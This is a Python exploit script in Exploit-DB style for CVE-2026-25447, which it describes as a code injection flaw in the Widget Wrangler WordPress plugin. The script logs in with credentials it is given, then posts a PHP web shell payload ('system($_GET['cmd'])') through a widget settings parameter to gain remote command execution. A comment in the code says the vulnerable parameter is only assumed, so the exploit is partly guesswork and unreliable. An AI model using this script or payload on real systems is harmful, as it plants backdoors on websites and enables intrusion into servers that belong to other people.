CVE-2026-25447

#!/usr/bin/env python3 # Exploit Title: Widget Wrangler < 2.3.9 - Code Injection (RCE) # Date: 2026-03-25 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/widget-wrangler/ # Software Link: https://downloads.wordpress.org/plugin/widget-wrangler.2.3.9.zip # Version: <= 2.3.9 # Tested on: WordPress 6.x # CVE: CVE-2026-25447 import requests import sys # Configuration target_url = sys.argv[1] # e.g., http://localhost/wp-admin/admin.php username = sys.argv[2] password = sys.argv[3] # Login to get session session = requests.Session() login_url = target_url.replace('admin.php', 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'redirect_to': target_url, 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Payload to inject PHP code # Assuming a vulnerable parameter 'ww_custom_content' in the widget settings malicious_payload = "<?php system($_GET['cmd']); ?>" exploit_data = { 'action': 'update_widget', 'widget_id': '1', 'ww_custom_content': malicious_payload } # Send exploit request response = session.post(target_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text: print("[+] Payload injected successfully!") print("[+] Check the widget page or trigger the hook to execute code.") else: print("[-] Exploit failed.")

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